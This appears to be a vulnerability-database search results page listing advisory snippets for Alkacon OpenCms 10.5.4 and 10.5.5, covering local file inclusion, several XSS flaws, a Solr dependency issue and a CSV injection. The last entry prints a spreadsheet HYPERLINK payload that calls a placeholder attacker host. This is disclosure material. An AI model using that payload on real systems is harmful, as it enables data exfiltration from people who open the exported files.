627 matches found
CVE-2019-13237
In Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple resources vulnerable to Local File Inclusion that allow an attacker to access server resources: clearhistory.jsp, convertxml.jsp, groupnew.jsp, loginmessage.jsp, xmlcontentrepair.jsp, and /system/workplace/admin/history/settings/index.jsp...
CVE-2019-13236
In system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface...
CVE-2019-13236
Alkacon OpenCms 10.5.4 and 10.5.5 are affected by multiple Reflected and Stored XSS vulnerabilities in the system/workplace/ management interface. Root cause is not explicitly detailed beyond XSS in the provided documents. The issues could allow execution of arbitrary scripts in authenticated use...
CVE-2019-13236
In system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface...
CVE-2019-13235
CVE-2019-13235 affects Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, with a Cross-Site Scripting (XSS) flaw in the login form. Public sources describe the vulnerability as an XSS in the login workflow, with PoCs showing injection potentially via headers like X-Forwarded-For. NVD metrics list...
CVE-2019-13235
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form...
CVE-2019-13235
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form...
CVE-2019-13234
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine...
CVE-2019-13234
CVE-2019-13234 involves XSS in the Alkacon OpenCms Apollo Template, specifically in the search engine for OpenCms Apollo Template 10.5.4 and 10.5.5. The connected documents confirm a reflected XSS vulnerability in the search endpoint (e.g., parameter q) and also show a related XSS condition in a ...
CVE-2019-13234
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine...
PT-2019-13197
Name of the Vulnerable Software and Affected Versions Alkacon OpenCms Apollo Template versions 10.5.4 through 10.5.5 Description The issue concerns a Cross-Site Scripting XSS flaw in the Login form. Recommendations For versions 10.5.4 and 10.5.5, update to a version that fixes the XSS issue in th...
CVE-2019-13237: Improper Limitation of a Pathname to a Restricted Directory
In Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple resources vulnerable to Local File Inclusion that allow an attacker to access server resources: clearhistory.jsp, convertxml.jsp, groupnew.jsp, loginmessage.jsp, xmlcontentrepair.jsp, and /system/workplace/admin/history/settings/index.jsp...
CVE-2019-13236: Improper Neutralization of Input During Web Page Generation
In system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface...
CVE-2019-13234: Improper Neutralization of Input During Web Page Generation
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine...
PT-2019-13199
Name of the Vulnerable Software and Affected Versions Alkacon OpenCms versions 10.5.4 through 10.5.5 Description The issue affects multiple resources, making them vulnerable to Local File Inclusion. This allows an attacker to access server resources, including clearhistory.jsp, convertxml.jsp,...
PT-2019-13198
Name of the Vulnerable Software and Affected Versions Alkacon OpenCms versions 10.5.4 through 10.5.5 Description The issue concerns multiple Reflected and Stored XSS problems in the management interface of the system. Recommendations For versions 10.5.4 and 10.5.5, update to a version that contai...
CVE-2019-13235: Improper Neutralization of Input During Web Page Generation
In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form...
PT-2019-13196
Name of the Vulnerable Software and Affected Versions Alkacon OpenCms Apollo Template versions 10.5.4 through 10.5.5 Description The issue is related to a Cross-Site Scripting XSS flaw in the search engine of the affected software. Recommendations For versions 10.5.4 and 10.5.5, consider disablin...
de.eonas.portal:opencmsinstaller (>=9.0.0.1, <=9.5.2.0), de.eonas.portal:opencmsportaldriver (>=9.5.1.0, <=9.5.2.0) +22 more potentially affected by CVE-2019-0193 via org.apache.solr:solr-core (4.3.0)
org.apache.solr:solr-core MAVEN version 4.3.0 is affected by a known vulnerability. The following packages have a transitive dependency on org.apache.solr:solr-core and may be impacted: - de.eonas.portal:opencmsinstaller =9.0.0.1, =9.5.1.0, =9.0.1, =9.0.0, =9.0.1, =9.0.0, =9.0.1, =9.0.0, =9.0.0,...
OpenCMS 10.5.4 CSV Injection
Description: OpenCMS v10.5.4 and before is vulnerable to CSV injection in New User module for parameter First Name and Last Name Impacted URL is http://yourwebserverip/opencms/system/workplace/admin/accounts/usernew.jsp Payload used is '=HYPERLINK"http://attackerip:port/GiveMeSomeData","IAmSafe"'...